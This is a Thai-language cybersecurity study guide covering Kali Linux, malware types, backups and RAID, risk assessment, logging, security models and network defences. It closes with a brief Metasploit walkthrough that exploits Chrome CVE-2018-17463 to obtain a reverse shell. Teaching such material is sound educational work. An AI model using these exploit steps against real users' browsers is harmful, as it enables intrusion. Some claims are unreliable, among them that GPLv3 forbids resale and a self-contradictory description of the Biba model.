Kali Linux: เครื่องมือที่ทรงพลังสำหรับนักวิจัยด้านความปลอดภัย

Kali Linux เป็นระบบปฏิบัติการที่ได้รับการออกแบบมาโดยเฉพาะสำหรับนักวิจัยด้านความปลอดภัยทางไซเบอร์ ผู้เชี่ยวชาญด้านการทดสอบเจาะระบบ (Penetration Testing) และผู้ที่สนใจในด้านความปลอดภัยของข้อมูล โดยมีพื้นฐานมาจาก Debian Linux Kali Linux มาพร้อมกับเครื่องมือมากมายที่ถูกติดตั้งไว้ล่วงหน้า ซึ่งครอบคลุมทุกด้านของการทดสอบเจาะระบบ ตั้งแต่การรวบรวมข้อมูล (Information Gathering), การวิเคราะห์ช่องโหว่ (Vulnerability Analysis), การโจมตี (Exploitation), ไปจนถึงการรายงาน (Reporting)

Kali Linux เป็นที่รู้จักกันดีในหมู่นักวิจัยด้านความปลอดภัยทั่วโลก ด้วยความที่เป็นโอเพ่นซอร์ส (Open Source) และมีการอัปเดตเครื่องมือใหม่ ๆ อย่างสม่ำเสมอ ทำให้ผู้ใช้มั่นใจได้ว่าจะได้รับเครื่องมือที่ทันสมัยและมีประสิทธิภาพสูงสุด นอกจากนี้ Kali Linux ยังสามารถใช้งานได้บนหลายแพลตฟอร์ม ไม่ว่าจะเป็นเครื่องคอมพิวเตอร์ตั้งโต๊ะ, แล็ปท็อป, หรือแม้กระทั่งอุปกรณ์พกพา

ไม่ว่าคุณจะเป็นมือใหม่ที่ต้องการเรียนรู้เกี่ยวกับการทดสอบเจาะระบบ หรือเป็นผู้เชี่ยวชาญที่ต้องการเครื่องมือที่มีประสิทธิภาพสูง Kali Linux เป็นทางเลือกที่สมบูรณ์แบบสำหรับทุกคนที่มีความสนใจในด้านความปลอดภัยทางไซเบอร์

Kali Linux: คู่มือเบื้องต้น

Kali Linux เป็นระบบปฏิบัติการ Linux ที่ได้รับความนิยมในการทดสอบเจาะระบบและพิสูจน์หลักฐานทางด้านดิจิตอล (Digital Forensics) โดยเป็นรุ่นพัฒนาต่อยอดจาก Backtrack Linux 4 โดยทีม Offensive Security ที่มุ่งเน้นด้าน Cybersecurity

คุณสมบัติหลัก:

• การพัฒนา: Kali Linux พัฒนาภายใต้ GPLv3 License ซึ่งอนุญาตให้แก้ไขและเผยแพร่ แต่ห้ามขายต่อ
• เครื่องมือ: มีเครื่องมือสำหรับการทดสอบเจาะระบบและการพิสูจน์หลักฐานทางด้านดิจิตอลมากมาย
• การอัปเดต: ใช้รูปแบบ Rolling Edition เพื่อการอัปเดตที่ต่อเนื่องและทันสมัย

เวอร์ชั่นต่างๆ:

• การเปลี่ยนชื่อ: เปลี่ยนจาก Kali 1.0 และ 2.0 เป็น Kali <YEAR>.<QUARTER> เพื่อสะท้อนถึงการอัปเดตอย่างต่อเนื่อง

การติดตั้งใน Virtual Environment:

• ความต้องการ: เปิดใช้งาน virtualization ใน BIOS/UEFI
• ขั้นตอนการติดตั้งใน VirtualBox:
  1. ดาวน์โหลดและติดตั้ง VirtualBox
  2. สร้าง VM ใหม่ใน VirtualBox และตั้งค่า
  3. ดาวน์โหลด Kali Linux และสร้าง VM ตามขั้นตอน
  4. ตั้งค่า VM และเริ่มติดตั้ง Kali Linux
• VirtualBox Edition: มีเวอร์ชั่นพร้อมใช้งานในรูปแบบ VirtualBox ที่สามารถดาวน์โหลดและนำไปใช้งานได้ทันที

Kali Linux เป็นเครื่องมือที่สำคัญในวงการ cybersecurity และได้รับการออกแบบมาเพื่อการใช้งานในด้านการทดสอบเจาะระบบและการพิสูจน์หลักฐานทางด้านดิจิตอล

ความรู้พื้นฐานเกี่ยวกับความปลอดภัยทางไซเบอร์

สำหรับผู้ใช้งานคอมพิวเตอร์ทั่วไป ข้อมูลที่เกินกว่า username และ password อาจถูกมองว่าไม่มีความสำคัญ แต่ในมุมมองของผู้เชี่ยวชาญด้านความปลอดภัยทางไซเบอร์ ข้อมูลเหล่านี้มีค่าอย่างมาก ผู้ไม่หวังดีสามารถนำข้อมูลที่ดูไร้ค่านี้ไปใช้ประโยชน์เพื่อเจาะระบบ ดังนั้นเราควรระมัดระวังในการเปิดเผยข้อมูลส่วนตัว

องค์ประกอบพื้นฐานของการรักษาความปลอดภัยของข้อมูล (CIA)

1. Confidentiality (การรักษาความลับของข้อมูล) ข้อมูลทุกข้อมูลมีระดับความลับที่ต้องรักษาให้คงอยู่ การควบคุมการเข้าถึงข้อมูลเป็นสิ่งสำคัญ เช่น การใช้ username และ password หรือการกำหนดสิทธิ์ในการเข้าถึงข้อมูล

2. Integrity (ความถูกต้องของข้อมูล) ข้อมูลต้องคงอยู่ในสภาพเดิม ไม่ถูกแก้ไขหรือทำลายในระหว่างการส่งหรือเก็บรักษา วิธีหนึ่งที่ช่วยได้คือการเข้ารหัสหรือการใช้การตรวจสอบ MD5

3. Availability (ความพร้อมใช้งานของข้อมูล) ข้อมูลต้องพร้อมใช้งานเมื่อจำเป็น การป้องกันการโจมตีและการสำรองข้อมูลเป็นสิ่งสำคัญ เช่น การทำ Load Balancing หรือการสำรองข้อมูล (Backup Plan)

เป้าหมายของการรักษาความปลอดภัยของข้อมูล

1. Prevention (การป้องกัน) ป้องกันข้อมูลจากการถูกทำลายหรือเข้าถึงอย่างไม่ถูกต้อง การปรับปรุงระบบและนโยบายเพื่อให้มีความปลอดภัยสูงสุดเป็นสิ่งสำคัญ

2. Detection (การตรวจพบ) การตรวจสอบและระบุการโจมตีที่เกิดขึ้นกับระบบ การตรวจสอบ log ของระบบและซอฟต์แวร์เป็นวิธีที่ใช้ในการตรวจพบ

3. Response (การตอบสนอง) การปรับปรุงและแก้ไขระบบหลังจากการโจมตี การมีแผนการรับมือที่ดีจะช่วยให้ระบบกลับมาใช้งานได้เร็วและมีประสิทธิภาพ

ลักษณะของการโจมตี

1. Remote Exploit การโจมตีผ่านเครือข่ายโดยไม่ต้องเข้าถึงเครื่องเป้าหมาย

2. Local Exploit การโจมตีที่ต้องเข้าถึงเครื่องเป้าหมายเพื่อยกระดับสิทธิ์ของผู้ใช้

เป้าหมายของการโจมตีของ Hacker

1. Access Attack การโจมตีเพื่อเข้าถึงข้อมูลที่มีความลับ

2. Modification And Repudiation การโจมตีเพื่อแก้ไขข้อมูลและปฏิเสธการกระทำของตนเอง

3. Denial Of Service (DoS) And Distributed Denial Of Service (DDoS) การโจมตีเพื่อทำให้ระบบไม่สามารถใช้งานได้

Malware ย่อมาจาก Malicious Software หมายถึงโปรแกรมที่มีเจตนาร้ายต่อระบบคอมพิวเตอร์ โดย malware มีหลายประเภท ได้แก่ trojan, backdoor, virus, worm และ ransomware

ประเภทของ Malware

1. Backdoor:

   • เป็นโปรแกรมที่เปิดทางให้ Hacker เข้าถึงระบบเป้าหมายได้ทุกเวลา
   • มักถูกซ่อนโดยใช้ชื่อเซอร์วิสที่ไม่สะดุดตา
   • ลดการสร้าง log ทำให้เหยื่อไม่รู้ตัวว่าถูกโจมตี

2. Trojan:

   • แฝงตัวมากับโปรแกรมอื่น ๆ และทำงานขโมยหรือลบข้อมูล
   • มักถูกปลอมเป็นโปรแกรมที่ดูน่าเชื่อถือ เช่น antivirus
   • แพร่กระจายผ่านเว็บ, email หรือ Instant Messenger

3. Virus และ Worm:

   • Virus ต้องอาศัยโปรแกรมอื่นเพื่อแพร่กระจาย ส่วน Worm แพร่กระจายได้ด้วยตัวเอง
   • Virus ฝังตัวในไฟล์รันได้ ส่วน Worm กระจายตัวจากระบบสู่ระบบอัตโนมัติ

การตรวจจับและป้องกัน Malware

1. VirusTotal:

   • บริการออนไลน์ที่ตรวจสอบไฟล์ว่ามี malware หรือไม่
   • ตรวจสอบด้วย antivirus ถึง 72 ชนิด

2. Nodistribute:

   • บริการออนไลน์คล้าย VirusTotal แต่ไม่แชร์ข้อมูลไฟล์กับผู้พัฒนา antivirus

3. URLVoid:

   • ตรวจสอบเว็บไซต์ว่ามีความเสี่ยงหรือไม่ โดยพิจารณาจากชื่อเสียงของเว็บไซต์

Ransomware

• Malware ที่เข้ารหัสข้อมูลในเครื่องเหยื่อและเรียกค่าไถ่เพื่อปลดล็อก
• หากไม่จ่ายค่าไถ่ตามเวลาที่กำหนด ข้อมูลในเครื่องอาจถูกลบทั้งหมด
• สามารถตรวจสอบ ransomware ได้ที่ https://id-ransomware.malwarehunterteam.com/

Advanced Persistent Threat (APT)

• การโจมตีที่มีเป้าหมายชัดเจน ซับซ้อน และแฝงตัวในองค์กร
• ใช้ malware โจมตีด้วยช่องโหว่ทั้งที่รู้และไม่รู้ล่วงหน้า
• การโจมตีมักเริ่มด้วยการส่ง email ที่มี malware ไปยังเป้าหมาย

สรุป

• Malware มีหลายประเภท แต่ละประเภทมีลักษณะและวิธีการแพร่กระจายต่างกัน
• การป้องกันและตรวจจับ malware จำเป็นต้องอัพเดตระบบและใช้บริการตรวจสอบออนไลน์ที่น่าเชื่อถือ
• การรู้เท่าทันและระมัดระวังการใช้งานโปรแกรมและเว็บไซต์เป็นวิธีการป้องกัน malware ที่ดีที่สุด

สำรองข้อมูล (Backup Data)

ความหมายของ Backup

Backup หมายถึงการทำสำเนาข้อมูลสำคัญจากต้นฉบับเพื่อเก็บรักษาไว้ในระยะยาว โดยมักใช้เทปเก็บข้อมูลเนื่องจากรองรับปริมาณข้อมูลได้มาก ข้อดีของการสำรองข้อมูลมีดังนี้:

1. กู้คืนข้อมูลเมื่อเกิดเหตุขัดข้อง เช่น การถูกเข้ารหัสไฟล์โดย ransomware
2. เป็นแผนสำรองในกรณีข้อมูลผิดพลาดขณะทำการอัปเกรดระบบ
3. ป้องกันข้อมูลสูญหายจากภัยธรรมชาติหรือเหตุการณ์ไม่คาดฝัน
4. ใช้เปรียบเทียบข้อมูลระหว่างอดีตและปัจจุบัน

ประเภทของการสำรองข้อมูล

1. Full Backup: สำรองข้อมูลทั้งหมด ข้อดีคือมีความน่าเชื่อถือและง่ายต่อการกู้คืน แต่ใช้เวลานานและมีขนาดใหญ่
2. Incremental Backup: สำรองเฉพาะข้อมูลที่เปลี่ยนแปลงจากการสำรองครั้งก่อน ข้อดีคือใช้เวลาน้อยและไฟล์ขนาดเล็ก แต่การกู้คืนข้อมูลทั้งหมดต้องใช้ไฟล์สำรองทุกไฟล์
3. Differential Backup: สำรองข้อมูลที่เปลี่ยนแปลงจาก Full Backup ข้อดีคือกู้คืนข้อมูลได้เร็วกว่า Incremental Backup แต่ใช้พื้นที่มากกว่า
4. Synthetic Full Backup: รวมข้อมูลจาก Incremental Backup หลาย ๆ ครั้งเพื่อสร้าง Full Backup ใหม่ ทำให้กู้คืนข้อมูลได้ง่ายขึ้น แต่ใช้พื้นที่เก็บข้อมูลมาก

การสำรองข้อมูลตามมาตรฐาน ISO

1. มีสื่อสำรองข้อมูลอย่างน้อย 2 ชุด
2. ซอฟต์แวร์ที่ใช้ต้องสามารถทำ Full Backup และ Restore ได้อย่างมีประสิทธิภาพ
3. จัดทำแผนและบันทึกการสำรองข้อมูลทุกครั้ง
4. ทำ Offside Backup ข้อมูลสำรองเก็บไว้อย่างน้อย 2 ชุด แยกกันไม่ต่ำกว่า 10 กิโลเมตร

ค่า RPO และ RTO

1. RPO (Recovery Point Objective): จุดเวลาที่สามารถกู้คืนข้อมูลได้
2. RTO (Recovery Time Objective): ระยะเวลาที่ใช้ในการกู้คืนข้อมูล

RAID (Redundant Array of Inexpensive Disks)

RAID เป็นการรวมฮาร์ดดิสก์หลายตัวเพื่อเพิ่มประสิทธิภาพและความน่าเชื่อถือในการเก็บข้อมูล แบ่งออกเป็นหลายประเภท ดังนี้:

1. RAID-0 (Striping): เพิ่มความเร็วในการเข้าถึงข้อมูล แต่ไม่มีการสำรองข้อมูล
2. RAID-1 (Disk Mirroring): สำรองข้อมูลโดยการทำสำเนา ทำให้ข้อมูลปลอดภัยแต่ใช้พื้นที่เก็บข้อมูลมาก
3. RAID-0+1 / RAID-1+0: ผสมผสานข้อดีของ RAID-0 และ RAID-1 ทั้งความเร็วและการสำรองข้อมูล
4. RAID-3: ใช้ดิสก์เฉพาะสำหรับการเก็บ parity bit เพื่อเพิ่มความปลอดภัยของข้อมูล
5. RAID-5: กระจาย parity bit ไปยังดิสก์ทุกตัว เพิ่มความปลอดภัยและประสิทธิภาพ
6. RAID-6: เหมือน RAID-5 แต่เพิ่ม parity bit อีกชุด ทำให้กู้คืนข้อมูลได้แม้ดิสก์เสียพร้อมกันถึง 2 ตัว

การเชื่อมต่อ Hard Disk ด้วย RAID

1. Hardware RAID: ใช้การ์ดฮาร์ดแวร์สำหรับการทำ RAID ซึ่งมีประสิทธิภาพสูงกว่า
2. Software RAID: ใช้ซอฟต์แวร์ในการทำ RAID ประหยัดต้นทุน แต่ประสิทธิภาพอาจน้อยกว่า

ชนิดของ Disk ใน RAID

1. Hot Spare Disk: ดิสก์ที่ทำงานแทนแบบอัตโนมัติเมื่อดิสก์ตัวใดตัวหนึ่งเสีย
2. Hot Swap Disk: ดิสก์ที่สามารถเปลี่ยนได้โดยไม่ต้องปิดระบบ

เครื่องมือคำนวณ RAID size:

• ASUSTOR RAID Calculator
• ICC USA RAID Calculator
• RAID Calculator

สรุป

บทความนี้กล่าวถึงการสำรองข้อมูล (Backup) และประเภทของ RAID พร้อมทั้งแนวทางการปฏิบัติตามมาตรฐาน ISO เพื่อให้ข้อมูลมีความปลอดภัยและสามารถกู้คืนได้อย่างมีประสิทธิภาพ

ความเสี่ยง (Risk) คืออะไร?

ความเสี่ยงหมายถึงการคาดการณ์มูลค่าความเสียหายที่อาจเกิดขึ้นต่อทรัพย์สินขององค์กร คูณกับความเป็นไปได้ที่จะเกิดความเสียหาย (Probability) โดยไม่เพียงแต่พิจารณาเป็นมูลค่าเงิน แต่ยังรวมถึงชื่อเสียงที่อาจประเมินค่าได้ยาก เช่น การถูกแฮ็กในระบบธนาคารอาจส่งผลเสียมากกว่าการไม่สามารถให้บริการได้ชั่วคราว

การประเมินความเสี่ยง (Risk Assessment) ประกอบด้วย:

1. Identification: กำหนดมูลค่าของสินทรัพย์และผลกระทบต่อธุรกิจ รวมถึงการกำหนดโปรไฟล์ความเสี่ยงของแต่ละสินทรัพย์
2. Assessment: คำนวณค่าความเสี่ยงจากความเสียหายและความเป็นไปได้ โดยพิจารณาจากภัยคุกคาม ช่องโหว่ และการควบคุม
3. Prioritize: จัดลำดับความสำคัญของการจัดการความเสี่ยงตามความรุนแรงและทรัพยากรที่ต้องใช้
4. Treatments: ใช้วิธีการควบคุมความเสี่ยง เช่น การปรับปรุงหรือใช้เครื่องมือช่วย

วิธีการจัดการความเสี่ยง (Risk Treatments):

1. Risk Retention: ยอมรับความเสี่ยงและดำเนินการต่อไปหากการจัดการความเสี่ยงไม่คุ้มค่า
2. Risk Reduction: ลดความเสี่ยงโดยการปรับปรุง เช่น การติดตั้งอุปกรณ์ดับเพลิง
3. Risk Sharing: โอนความเสี่ยงให้กับผู้อื่น เช่น การทำประกัน
4. Risk Avoidance: เลิกใช้งานสินทรัพย์หรือกระบวนการที่มีความเสี่ยงสูง

เครื่องมือที่ใช้ในการคำนวณความเสี่ยง:

1. OWASP Risk Assessment Calculator: คำนวณความเสี่ยงโดยใช้สูตรของ OWASP OWASP Risk Assessment Calculator
2. CVSS Score v3.1 Calculator: คำนวณค่าความเสี่ยงตาม CVSS Base Score CVSS Score Calculator

การคำนวณความเสี่ยงช่วยในการจัดการและลดความเสี่ยงในองค์กรอย่างมีประสิทธิภาพ

สรุปเนื้อหาเกี่ยวกับ Policies, Standards, และ Procedures:

Policies (นโยบาย) Policies คือข้อบังคับและแนวทางในการใช้งานทรัพยากรขององค์กร เพื่อรักษาความปลอดภัยและประสิทธิภาพในการทำงาน Policies จะระบุถึงความสำคัญของการปกป้องทรัพยากร รวมถึงวิธีการใช้งานและการเข้าถึงอย่างถูกต้อง โดยต้องได้รับความร่วมมือจากผู้บริหารและมีการปรับปรุงตามภัยคุกคามที่เปลี่ยนแปลงไป

Standards (มาตรฐาน) Standards คือรายละเอียดและแนวทางปฏิบัติที่เป็นข้อกำหนดเพิ่มเติมจาก Policies ตัวอย่างเช่น มาตรฐานเกี่ยวกับการอัปเดตซอฟต์แวร์จะระบุความถี่และรายละเอียดเฉพาะตามประเภทของอุปกรณ์ โดยอิงจาก Policies

Procedures (ขั้นตอนการดำเนินงาน) Procedures คือขั้นตอนที่ใช้ในการปฏิบัติตาม Standards โดยอาจมีเอกสารคู่มือที่ช่วยในการดำเนินงาน Procedures มักจะมีการเปลี่ยนแปลงบ่อยครั้งตามความเปลี่ยนแปลงในเทคโนโลยีและภัยคุกคาม และควรได้รับข้อเสนอแนะจากผู้ใช้งานจริงเพื่อปรับปรุงให้มีประสิทธิภาพสูงสุด

สรุป Policies เป็นกฎข้อบังคับหลักขององค์กร, Standards เป็นมาตรฐานการดำเนินงานตาม Policies, และ Procedures คือขั้นตอนปฏิบัติที่ช่วยให้เป็นไปตาม Standards.

การบันทึก Log และ Syslog Protocol

การบันทึก Log Log คือการบันทึกเหตุการณ์หรือการทำงานที่เกิดขึ้นจาก client, server, หรือ application ต่างๆ รวมถึงอุปกรณ์ network เช่น Firewall และ Switch การบันทึก log สามารถช่วยในการตรวจสอบปัญหาและรักษาความปลอดภัยของระบบ

Syslog Protocol Syslog เป็น protocol ที่ใช้เพื่อส่ง log ข้อมูลทั้งภายในเครื่องและส่งออกไปยัง server ภายนอก โดยมาตรฐานเดิมคือ RFC3164 และมีการปรับปรุงเป็น RFC5424 ซึ่งช่วยให้การอ่านและจัดการ log ง่ายขึ้น โดยใช้ Syslog-ng server เป็นตัวกลางในการรวม log จากหลายแหล่ง

รูปแบบของ Syslog

• RFC 3164: ประกอบด้วย Priority (PRI), Timestamp, Hostname, Tag, และ Content
• RFC 5424: ประกอบด้วย Header (PRI, Version, Timestamp, Hostname, App-Name, ProcID, MSGID, Structured-Data), และ Message

Facility และ Severity

• Facility: ประเภทของ log เช่น kernel messages, user-level messages, mail system
• Severity: ความรุนแรงของ log เช่น Emergency, Alert, Critical, Error, Warning, Notice, Informational, Debug

การ Audit Log บน Debian

1. ติดตั้งบริการ Audit และกำหนดค่าตามที่ต้องการในไฟล์ /etc/audit/rules.d/audit.rules
2. รีสตาร์ทบริการ Audit
3. ใช้คำสั่ง aureport และ ausearch เพื่อจัดการและค้นหา log

การส่ง Audit Log ไปยัง Syslog

1. แก้ไขไฟล์ /etc/audisp/plugins.d/syslog.conf ให้ตั้งค่าเป็น active = yes
2. รีสตาร์ทบริการ Audit

การบันทึก Log บน Windows

ประเภทของ Windows Log

• System Log: เกี่ยวกับโปรแกรมและ OS
• Security Log: เกี่ยวกับความปลอดภัย เช่น logon และ resource access
• Application Log: เกี่ยวกับส่วนประกอบของ Windows
• Setup Log: เกี่ยวกับการอัพเดตและติดตั้ง
• Forward Events: Log จาก server อื่น

การ Audit Windows Log

1. ตั้งค่า AUDIT Policy ผ่าน Group Policy (GPO) หรือ SECPOL.MSC
2. สามารถย้าย log ไปยังที่อื่นได้โดยการแก้ไข Registry

การติดตั้งและกำหนดค่า Syslog-ng

การติดตั้ง Syslog-ng

1. ติดตั้งผ่านคำสั่ง yum หรือ apt-get ขึ้นอยู่กับระบบปฏิบัติการ
2. ปิดการทำงานของ rsyslog และเปิดใช้งาน syslog-ng
3. กำหนดค่าไฟล์ syslog-ng.conf เพื่อจัดการการบันทึก log จากแหล่งต่างๆ
4. รีสตาร์ทบริการ syslog-ng และกำหนด Firewall ให้อนุญาต UDP/514

การกำหนดค่า SELinux

1. ตรวจสอบและปรับสถานะ SELinux หากจำเป็น

บทสรุป

เนื้อหานี้ครอบคลุมการบันทึก log บนทั้งระบบ Windows และ Linux รวมถึงการจัดการ syslog protocol และการติดตั้ง syslog-ng

Defense in-Depth และ Defense in Breadth:

Defense in-Depth

Defense in-Depth คือกลยุทธ์การป้องกันที่ใช้หลายชั้นเพื่อป้องกันภัยคุกคามที่อาจเกิดขึ้นในเครือข่าย โดยมีการสร้างหลายชั้นของการป้องกันเพื่อให้ผู้โจมตีต้องเผชิญกับอุปสรรคหลายขั้นตอน หากผู้โจมตีผ่านชั้นแรกไปได้ จะต้องเผชิญกับชั้นถัดไป ซึ่งจะช่วยให้การตรวจจับและตอบสนองต่อการโจมตีมีประสิทธิภาพมากขึ้น การป้องกันในแต่ละชั้นจะส่งข้อมูล log ไปยังส่วนกลางเพื่อติดตามและวิเคราะห์พฤติกรรมของผู้โจมตี

Defense in Breadth

ในทางกลับกัน, Defense in Breadth มุ่งเน้นการป้องกันที่ระดับ Application Layer โดยใช้เครื่องมือต่าง ๆ เช่น Web Application Firewall เพื่อป้องกันภัยคุกคามเฉพาะเจาะจงที่เกิดจากแอปพลิเคชัน เช่น SQL Injection หรือ Cross-Site Scripting การป้องกันในลักษณะนี้จะกรอง traffic ได้อย่างละเอียดและต้องมีการส่ง log ไปยังส่วนกลางเพื่อการเฝ้าระวังเพิ่มเติม

ข้อสรุป

ทั้ง Defense in-Depth และ Defense in Breadth เป็นกลยุทธ์การป้องกันที่มีเป้าหมายในการตรวจจับและป้องกันภัยคุกคามอย่างมีประสิทธิภาพ การเลือกใช้กลยุทธ์ใดขึ้นอยู่กับความจำเป็นและทรัพย์สินที่ต้องดูแล

Security Models

การออกแบบระบบความปลอดภัยในองค์กรจำเป็นต้องมีการจัดการข้อมูลและความต้องการด้านความปลอดภัยที่แตกต่างกันออกไป ข้อมูลแต่ละประเภทมีความสำคัญไม่เท่ากัน จึงต้องมีการแบ่งประเภทข้อมูลและกำหนดความต้องการด้านความปลอดภัยที่เหมาะสม

Data Classification

การจัดประเภทข้อมูล (Data Classification) ช่วยในการควบคุมการเข้าถึงข้อมูลได้อย่างมีประสิทธิภาพ โดยทั่วไปจะมีการจัดประเภทข้อมูลตามระดับความสำคัญ ดังนี้:

• Top Secret: ข้อมูลที่มีความลับสูงสุด เข้าถึงได้เฉพาะกลุ่มที่จำเป็นเท่านั้น
• Secret: ข้อมูลที่มีความสำคัญสูง หากรั่วไหลอาจส่งผลกระทบต่อองค์กรอย่างรุนแรง
• Confidential: ข้อมูลที่สำคัญ หากรั่วไหลอาจส่งผลกระทบต่อองค์กร
• Restricted: ข้อมูลที่มีข้อจำกัดสูง หากรั่วไหลอาจทำให้เกิดผลกระทบที่ไม่พึงประสงค์
• Official: ข้อมูลที่เป็นทางการ ไม่มีผลกระทบหากข้อมูลหลุด
• Unclassified: ข้อมูลที่ไม่สำคัญ สามารถเข้าถึงได้จากทุกคน

การแบ่งประเภทข้อมูลจะช่วยในการจัดการและควบคุมการเข้าถึงข้อมูลอย่างมีประสิทธิภาพ

Access Control

ระบบควบคุมการเข้าถึง (Access Control) กำหนดสิทธิ์ในการเข้าถึงข้อมูล โดยผู้ใช้งานต้องยืนยันตัวตนและสิทธิ์ก่อนเข้าถึงข้อมูล ระบบ Access Control มีการดำเนินการดังนี้:

• Identification: การแจ้งหลักฐานของตัวตน เช่น ชื่อผู้ใช้
• Authentication: การตรวจสอบตัวตนของผู้ใช้งาน
• Authorization: การตรวจสอบสิทธิ์ของผู้ใช้งานในการเข้าถึงข้อมูล

Access Control Models

• DAC (Discretionary Access Control): ผู้ใช้สามารถควบคุมการเข้าถึงข้อมูลของตนเองได้
• RBAC (Role-Based Access Control): การเข้าถึงข้อมูลขึ้นอยู่กับบทบาทของผู้ใช้งาน
• MAC (Mandatory Access Control): การควบคุมการเข้าถึงที่เข้มงวด ตามระดับความสำคัญของข้อมูล

Security Models

• Bell-LaPadula Model: มุ่งเน้นการรักษาความลับของข้อมูล โดยอนุญาตให้ผู้ใช้งานอ่านข้อมูลที่มีระดับความลับเท่ากับหรือต่ำกว่า แต่เขียนข้อมูลที่มีระดับความลับสูงกว่าตนเองเท่านั้น (Write Up, Read Down)
• Biba Model: เน้นความถูกต้องของข้อมูล โดยอนุญาตให้ผู้ใช้งานอ่านข้อมูลที่มีระดับความถูกต้องเท่ากับหรือต่ำกว่า แต่เขียนข้อมูลที่มีระดับความถูกต้องสูงกว่าตนเองไม่ได้ (Read Up, Write Down)
• Clark-Wilson Model: มุ่งเน้นการรักษาความถูกต้องของข้อมูลผ่านการใช้งานโปรแกรมเฉพาะ (Transformation Procedures) และการตรวจสอบความถูกต้องของข้อมูล (Integrity Verification Procedures)
• Chinese Wall Model: ใช้ในการควบคุมการเข้าถึงเพื่อป้องกันความขัดแย้งทางผลประโยชน์ โดยไม่อนุญาตให้ผู้ใช้งานเข้าถึงข้อมูลที่อาจก่อให้เกิดการขัดแย้งทางผลประโยชน์

Conclusion

Security Models เป็นแนวทางในการควบคุมการเข้าถึงข้อมูลเพื่อให้การรักษาความลับและความถูกต้องของข้อมูลเป็นไปตามที่กำหนด โดยแต่ละโมเดลมีจุดเน้นและกฎเกณฑ์ที่แตกต่างกันตามลักษณะของข้อมูลและความต้องการขององค์กร

อุปกรณ์ด้านความปลอดภัยเครือข่าย

1. ระบบตรวจจับการบุกรุก (IDS)

   • Intrusion Detection System (IDS) ทำหน้าที่ตรวจจับและรายงานพฤติกรรมที่ผิดปกติภายในเครือข่าย โดยใช้การตรวจสอบแพ็กเก็ตและการจับคู่ลายเซ็น (pattern matching) เพื่อระบุการโจมตีที่เป็นไปได้ แต่ไม่สามารถป้องกันได้โดยตรง
   • IDS มีสองประเภทหลัก:
     • Host-Based IDS ติดตั้งบนเครื่องคอมพิวเตอร์เพื่อตรวจจับการเข้าถึงและการเปลี่ยนแปลงไฟล์ เช่น Host Wrappers และ Agent-Based Software
     • Network-Based IDS ตรวจจับการทำงานที่ผิดปกติภายในเครือข่าย เช่น การตรวจสอบลายเซ็นที่เป็นข้อความ, พอร์ต หรือเฮดเดอร์ของแพ็กเก็ต

2. ระบบป้องกันการบุกรุก (IPS)

   • Intrusion Prevention System (IPS) สามารถตรวจจับและป้องกันการโจมตีได้โดยตรง โดยทำงานได้ทั้งในระดับการตรวจจับและการป้องกันความปลอดภัย เช่น การบล็อกการบุกรุกหรือการปิดการเชื่อมต่อ
   • IPS แบ่งเป็น 4 ประเภทหลัก:
     • Network-Based IPS (NIPS) ตรวจสอบการทำงานของโปรโตคอลในเครือข่าย
     • Wireless IPS (WIPS) ตรวจสอบเครือข่ายไร้สาย
     • Network Behavior Analysis (NBA) ตรวจสอบพฤติกรรมที่ผิดปกติในเครือข่าย
     • Host-Based IPS (HIPS) ตรวจสอบพฤติกรรมที่ผิดปกติภายในเครื่อง

3. ไฟร์วอลล์ (Firewall)

   • Firewall ใช้ในการควบคุมการเข้าถึงระบบโดยการตรวจสอบที่อยู่ IP และพอร์ตเพื่อป้องกันการโจมตีจากแฮกเกอร์
   • ประเภทของไฟร์วอลล์:
     • Packet Filtering Firewalls ตรวจสอบแพ็กเก็ตที่ระดับเครือข่าย
     • Stateful Firewalls ติดตามสถานะการเชื่อมต่อในระดับการขนส่ง
     • Application Firewalls ตรวจสอบและควบคุมการเข้าถึงที่ระดับแอปพลิเคชัน
     • Web Application Firewalls (WAF) ป้องกันการโจมตีที่เกิดจากแอปพลิเคชันเว็บ
     • Personal Firewalls ใช้สำหรับปกป้องคอมพิวเตอร์ส่วนบุคคล

4. ฮันนีพอต (Honeypot)

   • Honeypot เป็นเครื่องมือที่สร้างสภาพแวดล้อมเสมือนเพื่อดึงดูดแฮกเกอร์และรวบรวมข้อมูลเกี่ยวกับพฤติกรรมการโจมตี โดยแบ่งเป็น:
     • High-Interaction Honeypot ใช้เครื่องจริงเพื่อจำลองบริการ
     • Low-Interaction Honeypot ใช้เครื่องจำลองเพื่อศึกษาแนวทางการโจมตี

5. ระบบจัดการข้อมูลและเหตุการณ์ด้านความปลอดภัย (SIEM)

   • SIEM รวบรวมและวิเคราะห์บันทึกเหตุการณ์จากระบบต่าง ๆ เพื่อระบุภัยคุกคามและช่วยในการตอบสนองเหตุการณ์ โดยการวิเคราะห์ข้อมูลเชิงลึกเพื่อค้นหาความผิดปกติและข้อผิดพลาด

สรุป: อุปกรณ์ด้านความปลอดภัยเครือข่ายประกอบด้วย IDS สำหรับการตรวจจับ, IPS สำหรับการป้องกัน, Firewall สำหรับการควบคุมการเข้าถึง, Honeypot สำหรับการรวบรวมข้อมูลการโจมตี และ SIEM สำหรับการวิเคราะห์เหตุการณ์และบันทึกข้อมูล

การโจมตีที่ฝั่ง Client (Client Side Exploitation) และวิธีการป้องกัน

การโจมตีที่ฝั่ง Client Client Side Exploitation เป็นวิธีการโจมตีที่มุ่งเป้าไปที่ฝั่งของผู้ใช้งาน (Client) ซึ่งมักจะเกิดจากความไม่ระมัดระวังของผู้ใช้ การโจมตีนี้อาจเกิดจากการหลอกลวงให้ผู้ใช้เข้าเว็บไซต์ที่เตรียมไว้ล่วงหน้า หรือการส่งไฟล์อันตรายให้ผู้ใช้เปิดใช้งาน ช่องโหว่ที่พบในเว็บเพจมักแฝงสคริปต์ที่โจมตี Browser ของผู้ใช้

ตัวอย่างการใช้ Metasploit โจมตี Google Chrome ในการโจมตีช่องโหว่ cve-2018-17463 ใน Google Chrome (เวอร์ชัน 67-69) ด้วย Metasploit:

1. เปิดใช้งาน Metasploit Console:
   

   ruby

   Copy code

   $ msfconsole

2. เรียกใช้งาน Metasploit Module:
   

   shell

   Copy code

   msf> use exploit/multi/browser/chrome_object_create

3. ตรวจสอบตัวเลือกต่างๆ:
   

   shell

   Copy code

   msf> show options

4. กำหนดค่า parameter ต่างๆ:
   

   python

   Copy code

   msf> set TARGET <target-id>

5. สร้าง Web Server และเริ่มการโจมตี:
   

   shell

   Copy code

   msf> exploit


   เมื่อ Browser ที่ได้รับผลกระทบเข้าถึงเว็บเซิร์ฟเวอร์ที่สร้างขึ้น จะเกิดการโจมตีผ่าน Exploit และสร้าง reverse shell กลับไปหา Metasploit

